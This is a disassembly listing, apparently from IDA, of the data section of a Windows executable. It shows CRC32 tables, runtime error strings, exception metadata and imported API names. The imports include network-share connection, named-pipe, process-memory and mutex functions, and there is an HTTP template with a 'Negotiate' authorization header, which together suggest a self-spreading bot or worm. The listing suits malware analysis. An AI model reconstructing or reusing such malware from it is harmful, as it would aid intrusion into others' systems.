dword_4231A0	dd 77E7C486h		; DATA XREF: sub_4198E4+26r
dword_4231A4	dd 77E7AC5Eh		; DATA XREF: sub_41A89C+54r
dword_4231A8	dd 77E76E0Bh		; DATA XREF: sub_41A9E4+50r
dword_4231AC	dd 77E7C726h		; DATA XREF: sub_41A9E4+11r
dword_4231B0	dd 77E79E34h		; DATA XREF: sub_41AAB4+240r
					; sub_41B588+120r ...
dword_4231B4	dd 77E7980Ah		; DATA XREF: sub_41B0E6+76r
					; sub_41B197+51r ...
dword_4231B8	dd 77E73196h		; DATA XREF: sub_42061A+Cr
dword_4231BC	dd 77E6D706h		; DATA XREF: sub_41BD40+215r
					; sub_4228C9+2Er
dword_4231C0	dd 77F522F2h		; DATA XREF: sub_41D2A8+58r
dword_4231C4	dd 77E77405h		; DATA XREF: sub_41E409+5Er
					; sub_41E409+A7r ...
dword_4231C8	dd 77E781F9h		; DATA XREF: sub_41E409+42r
					; sub_41E409+14Dr ...
dword_4231CC	dd 77E7849Fh		; DATA XREF: sub_41E658+48r
					; sub_41E897+14r ...
dword_4231D0	dd 77E7A13Fh		; DATA XREF: sub_41E7F1+2Fr
		align 8
dword_4231D8	dd 71B2ACCBh		; DATA XREF: sub_422740r
		align 10h
dword_4231E0	dd 71AB41DAh		; DATA XREF: sub_405285+47r
					; sub_40586C+15r
dword_4231E4	dd 71AB3F8Dh		; DATA XREF: sub_405285+8Dr
dword_4231E8	dd 71AB3ECEh		; DATA XREF: sub_405285+C4r
dword_4231EC	dd 71AB5DE2h		; DATA XREF: sub_405285+D8r
dword_4231F0	dd 71AB868Dh		; DATA XREF: sub_405285+17Er
dword_4231F4	dd 71AB8629h		; DATA XREF: .data:00405271r
dword_4231F8	dd 71AB2BBFh		; DATA XREF: .data:00405142r
dword_4231FC	dd 71AB12F8h		; DATA XREF: sub_404DFA+27r
					; .data:00405152r ...
dword_423200	dd 71AB1836h		; DATA XREF: sub_40586C+6Er
					; sub_4058E9+8Er
dword_423204	dd 71AB5690h		; DATA XREF: sub_404DFA+6Ar
					; sub_405285+1E0r
dword_423208	dd 71AB1AF4h		; DATA XREF: sub_403F52+12r
					; sub_404DFA+C3r ...
dword_42320C	dd 71AB1890h		; DATA XREF: sub_403DAF+4Cr
					; sub_405285+115r
dword_423210	dd 71AB1B7Bh		; DATA XREF: sub_422746r
dword_423214	dd 71AB3C22h		; DATA XREF: sub_4018CB+52r
					; .data:004042F7r ...
dword_423218	dd 71AB155Ah		; DATA XREF: sub_4018CB+6Er
					; sub_405285+9Dr
dword_42321C	dd 71AB3E5Dh		; DATA XREF: sub_4018CB+88r
					; sub_404DFA+59r ...
dword_423220	dd 71AB1A6Dh		; DATA XREF: sub_4018CB+A4r
					; sub_404DFA+E0r ...
dword_423224	dd 71AB1746h		; DATA XREF: sub_404DFA+36r
					; .data:004051A8r ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40418F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_423270	dq 1.388888888888889e-2	; DATA XREF: sub_403FA4+2Fr
dbl_423278	dq 1.666666666666667e-1	; DATA XREF: sub_403FA4+15r
dbl_423280	dq 1.333333333333333	; DATA XREF: sub_403FF0+7Ar
dword_423288	dd 0			; DATA XREF: sub_40418F+4Do
					; sub_4044CD+57o ...
flt_42328C	dd 5.0e-1		; DATA XREF: sub_404904+38Cr
dword_423290	dd 0			; DATA XREF: sub_40C040+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_423690	dq 9.765625e-4		; DATA XREF: sub_40C90D+2B8r
					; sub_40C90D+2CDr ...
dbl_423698	dq -3.0517578125e-5	; DATA XREF: sub_4151D8+1Er
dbl_4236A0	dq 1.0			; DATA XREF: sub_4179A4+6Cr
					; sub_417AEB+6Cr ...
dword_4236A8	dd 0FFFFFFFFh, 4199BBh,	4199CFh	; DATA XREF: sub_4198E4+5o
byte_4236B4	db 6			; DATA XREF: sub_419B38:loc_419B8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .data:off_438A7Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .data:off_438A78o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41A89C+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41A89C+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .data:off_43ACCCo
		align 10h
dbl_423810	dq 0.0			; DATA XREF: sub_41BFF3+8Cr
					; sub_41BFF3+ACr ...
dbl_423818	dq 4.195835e6		; DATA XREF: sub_41C508+Fr
dbl_423820	dq 3.145727e6		; DATA XREF: sub_41C508+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C546+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C546o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41C66D+93o
		align 4
dword_423858	dd 0FFFFFFFFh, 41CD58h,	41CD62h, 0 ; DATA XREF:	sub_41CCF1+5o
dword_423868	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CE20+5o
		dd offset loc_41CEDE
		align 8
		dd offset sub_41CEBC
		dd offset sub_41CEC6
dword_423880	dd 0FFFFFFFFh, 41D10Eh,	41D112h, 0 ; DATA XREF:	sub_41CF56+5o
dword_423890	dd 0FFFFFFFFh, 41D170h,	41D179h, 0 ; DATA XREF:	sub_41D11A+5o
dword_4238A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D1FC+5o
		dd offset loc_41D24D
		align 10h
		dd offset loc_41D239
		dd offset loc_41D23D
dword_4238B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D252+5o
		dd offset loc_41D2A3
		align 8
		dd offset loc_41D28F
		dd offset loc_41D293
dword_4238D0	dd 2 dup(0)		; DATA XREF: sub_41E409+36o
					; sub_41F88F+39o ...
dword_4238D8	dd 0FFFFFFFFh, 41E519h,	41E51Dh, 0FFFFFFFFh, 41E5CDh, 41E5D1h
					; DATA XREF: sub_41E409+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_43B10Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F5B1+119o
		align 10h
asc_423BA0	db 0Ah			; DATA XREF: sub_41F5B1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F5B1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41F5B1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F5B1+7Do
		align 10h
dword_423BE0	dd 0FFFFFFFFh, 41F988h,	41F98Ch	; DATA XREF: sub_41F88F+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42067A+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_420D8F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_420D8F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_420D8F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4216D9:loc_4217CEo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4216D9+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4216D9+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4216D9+ADo
		align 10h
dword_423C80	dd 0FFFFFFFFh, 4220D1h,	4220D5h, 0FFFFFFFFh, 422140h, 422144h
					; DATA XREF: sub_421F1A+5o
		dd 423DBCh
off_423C9C	dd offset loc_4224D2	; DATA XREF: sub_4224AA+8o
					; sub_4224EE+2Co ...
		dd offset sub_4224C5
		dd offset sub_4226E6
		dd offset dword_423E08
off_423CAC	dd offset sub_42253C	; DATA XREF: sub_4224EE+3Ao
					; sub_422558o ...
		dd offset sub_4224C5
		dd offset loc_422722
dword_423CB8	dd 0			; DATA XREF: sub_4224EE+16o
					; sub_4225C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422563+11o
		dd offset dword_423E54
off_423CD8	dd offset sub_42264B	; DATA XREF: sub_422667o
					; sub_42268A+37o ...
		dd offset sub_4224C5
		dd offset loc_422704
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42268A+11o
		dd offset dword_423E98
off_423CF8	dd offset loc_4227E7	; DATA XREF: sub_4227D2o
					; .data:off_43B82Co ...
		dd offset dword_423EC8
off_423D00	dd offset loc_422803	; DATA XREF: sub_42281F+8o
					; sub_42285C+8o ...
		dd offset sub_4228BC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4228BC+7o
		align 10h
dword_423D20	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4228C9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_423D40	dd 0FFFFFFFFh, 422A7Ah,	422A7Eh, 0FFFFFFFFh, 422AF7h, 422AFBh
					; DATA XREF: sub_422978+5o
dword_423D58	dd 0FFFFFFFFh, 422CEFh,	422CF3h, 0FFFFFFFFh, 422D4Ch, 422D50h
					; DATA XREF: sub_422C03+5o
		dd 43B82Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_423D88	dd offset off_43B844	; DATA XREF: .data:00423DA0o
					; .data:00423DECo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423D88
		dd offset dword_423D58+18h
dword_423DA8	dd 3 dup(0)		; DATA XREF: .data:00423DCCo
		dd 2, 423DA0h, 3 dup(0)
		dd offset off_43B844
		dd offset dword_423DA8+4
off_423DD0	dd offset off_43B864	; DATA XREF: .data:00423DE8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423DD0
		dd offset off_423D88
		dd offset dword_423D58+18h
		dd 0
		db    0			; DATA XREF: .data:00423E18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 423DE8h
dword_423E08	dd 3 dup(0)		; DATA XREF: .data:00423CA8o
		dd offset off_43B864
		dd offset unk_423DF8
off_423E1C	dd offset off_43B884	; DATA XREF: .data:00423E34o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423E1C
		dd offset off_423D88
		dd offset dword_423D58+18h
dword_423E40	dd 3 dup(0)		; DATA XREF: .data:00423E64o
		dd 3, 423E34h
dword_423E54	dd 3 dup(0)		; DATA XREF: .data:00423CD4o
		dd offset off_43B884
		dd offset dword_423E40+4
off_423E68	dd offset off_43B8A8	; DATA XREF: .data:00423E80o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423E68
		dd 0
		db    0			; DATA XREF: .data:00423EA8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 423E80h
dword_423E98	dd 3 dup(0)		; DATA XREF: .data:00423CF4o
		dd offset off_43B8A8
		dd offset unk_423E88
		dd offset dword_423D58+18h
dword_423EB0	dd 4 dup(0)		; DATA XREF: .data:00423ED8o
		dd 1, 423EACh
dword_423EC8	dd 3 dup(0)		; DATA XREF: .data:00423CFCo
		dd offset off_43B82C
		dd offset dword_423EB0+8
		dd 0FFFFFFFFh, 422DD0h,	0
		dd offset sub_422DC8
dword_423EEC	dd 19930520h, 2, 423EDCh, 4 dup(0) ; DATA XREF:	.data:loc_422DE7o
		dd 0FFFFFFFFh, 422DF4h,	0
		dd offset loc_422DFC
dword_423F18	dd 19930520h, 2, 423F08h, 4 dup(0) ; DATA XREF:	.data:loc_422E04o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_404733
		dd 2 dup(0)
		dd 2 dup(1), 423F44h
dword_423F68	dd 19930520h, 2, 423F34h, 1, 423F54h, 2	dup(0)
					; DATA XREF: .data:loc_422E10o
		dd 0FFFFFFFFh, 422E1Ah
dword_423F8C	dd 19930520h, 1, 423F84h, 5 dup(0) ; DATA XREF:	.data:loc_422E22o
		dd offset off_43B82C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42285Ch, 0
		dd offset off_43B844
		align 10h
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422608h, 0
		dd offset off_43B864
		dd 0
		dd 0FFFFFFFFh, 0
dword_423FF4	dd 1Ch,	422672h, 3, 423FE0h, 423FC4h, 423FA8h ;	DATA XREF: .data:00424018o
dword_42400C	dd 0			; DATA XREF: sub_422563+2Eo
					; sub_4226E6+4Bo
		dd offset sub_422558
		align 8
		dd offset dword_423FF4+8
		dd 0FFFFFFFFh, 422E2Ch
dword_424024	dd 19930520h, 1, 42401Ch, 4 dup(0) ; DATA XREF:	.data:loc_422E34o
		dd 0FFFFFFFFh, 422E3Eh
dword_424048	dd 19930520h, 1, 424040h, 4 dup(0) ; DATA XREF:	.data:loc_422E46o
		dd 0FFFFFFFFh, 422E50h
dword_42406C	dd 19930520h, 1, 424064h, 5 dup(0) ; DATA XREF:	.data:loc_422E58o
		dd offset off_43B884
		dd 0
		dd 0FFFFFFFFh, 0
dword_42409C	dd 1Ch,	4226CEh, 3, 424088h, 423FC4h, 423FA8h ;	DATA XREF: .data:004240C0o
dword_4240B4	dd 0			; DATA XREF: sub_42268A+2Eo
					; sub_4226E6+2Do
		dd offset sub_422667
		align 10h
		dd offset dword_42409C+8
		dd 0FFFFFFFFh, 422E62h
dword_4240CC	dd 19930520h, 1, 4240C4h, 4 dup(0) ; DATA XREF:	.data:loc_422E6Ao
dword_4240E8	dd 2, 423FC4h, 423FA8h	; DATA XREF: .data:00424100o
dword_4240F4	dd 0			; DATA XREF: sub_4226E6+Fo
		dd offset sub_4224AA
		align 10h
		dd offset dword_4240E8
		dd 2432Ch, 2 dup(0)
		dd 24396h, 231D8h, 24334h, 2 dup(0)
		dd 2439Eh, 231E0h, 24154h, 2 dup(0)
		dd 24C12h, 23000h, 5 dup(0)
		dd 2471Eh, 24BF8h, 24BE6h, 24BD4h, 24BC4h, 24BB4h, 24BA4h
		dd 24B86h, 24B72h, 24B62h, 24B50h, 24B3Eh, 24B30h, 24B20h
		dd 24B0Eh, 24AF4h, 24ADCh, 24AC2h, 24AA8h, 24A8Ch, 24A80h
		dd 243AAh, 243B8h, 243C8h, 243E2h, 243FEh, 24406h, 2441Ch
		dd 2442Ch, 24442h, 2444Eh, 2445Ch, 24468h, 2447Ch, 2448Ah
		dd 244A0h, 244B0h, 244C0h, 244D6h, 244E8h, 244FAh, 2450Ah
		dd 24518h, 2452Eh, 2453Ah, 24552h, 2456Ch, 2457Ch, 2458Eh
		dd 245A0h, 245B8h, 245D0h, 245F8h, 24610h, 2461Eh, 24638h
		dd 2464Ah, 2465Ah, 24666h, 24672h, 24684h, 24696h, 246AAh
		dd 246BAh, 246C8h, 246DCh, 246EEh, 246FEh, 2470Ch, 2472Eh
		dd 24744h, 24752h, 24760h, 24772h, 2478Eh, 247A4h, 247B4h
		dd 247CAh, 247DAh, 247ECh, 24800h, 2480Eh, 2481Eh, 24834h
		dd 24842h, 24858h, 2486Ch, 2487Ah, 24890h, 2489Ch, 248ACh
		dd 248BEh, 248CAh, 248DEh, 248F6h, 24908h, 2491Ch, 24936h
		dd 24952h, 2495Eh, 24978h, 24988h, 24996h, 249A8h, 249BAh
		dd 249C8h, 249E2h, 249F0h, 249FEh, 24A0Ch, 24A1Ch, 24A2Ch
		dd 24A3Eh, 24A4Ah, 24A5Ah, 24A6Ah, 24A76h, 0
		dd 24380h, 0
		dd 80000073h, 80000015h, 80000002h, 8000000Dh, 80000001h
		dd 80000016h, 80000034h, 8000000Bh, 80000074h, 80000010h
		dd 80000013h, 80000012h, 80000097h, 80000017h, 8000000Ah
		dd 80000004h, 80000003h, 80000009h, 0
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		db 'º',0
aExitthread	db 'ExitThread',0
		align 4
		db 0DFh	; ß
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0A3h	; £
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 2A4h
aQueryperform_1	db 'QueryPerformanceFrequency',0
		dw 356h
aSleep		db 'Sleep',0
		dw 1C1h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db  73h	; s
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 4
		db  75h	; u
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 2B5h
aReadfile	db 'ReadFile',0
		align 2
a4		db '4',0
aClosehandle	db 'CloseHandle',0
		db 0A4h	; ¤
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  68h	; h
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
aS_1		db 'S',0
aCreatefilea	db 'CreateFileA',0
		db 90h
		db 3
aWaitforsingleo	db 'WaitForSingleObject',0
		db  71h	; q
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 10h
aO		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db  7Dh	; }
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1E0h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db  47h	; G
		db 1, 47h, 65h
aTdateformata	db 'tDateFormatA',0
		align 2
aO_0		db 'o',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 163h
aGetfilesize	db 'GetFileSize',0
		db  5Eh	; ^
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		db 'Î',0
aFindclose	db 'FindClose',0
		db 'Å',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db 'Ä',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ü',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Ò',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 31Bh
aSetfilepointer	db 'SetFilePointer',0
		align 10h
		db  51h	; Q
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aS_2		db '˜',0
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
		db  24h	; $
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment	db 'GetEnvironmentVariableW',0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 2160000h, 70616548h
		dd 65657246h, 2100000h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 69560389h, 61757472h
		dd 6575516Ch, 78457972h, 2B80000h
aReadprocessmem	db 'ReadProcessMemory',0
		dw 1C5h
aGetsysteminfo	db 'GetSystemInfo',0
		dw 286h
aOpenprocess	db 'OpenProcess',0
		dd 6547017Fh, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4600F3h
		dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550371h, 5670616Dh,	4F776569h, 6C694666h, 2680065h
		dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		dd 6553031Fh, 6C694674h, 6D695465h, 1650065h, 46746547h
		dd 54656C69h, 656D69h, 72430066h, 65746165h, 636F7250h
		dd 41737365h, 0BC0000h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 319h
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  5Ah	; Z
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 291h
aPeeknamedpipe	db 'PeekNamedPipe',0
aU		db '“',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  42h	; B
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
aE		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 1E9h
aGetversionexa	db 'GetVersionExA',0
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
		db '¹',0
aExitprocess	db 'ExitProcess',0
		dw 394h
aWidechartomult	db 'WideCharToMultiByte',0
		dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h
		dd 6574656Ch, 656C6946h, 1430041h
aGetcurrentproc	db 'GetCurrentProcessId',0
aC		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		dd 6554035Fh, 6E696D72h, 54657461h, 61657268h, 26E0064h
		dd 65766F4Dh, 656C6946h, 35E0041h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 2EE0000h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 174h
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		db  78h	; x
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db  8Eh	; Ž
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
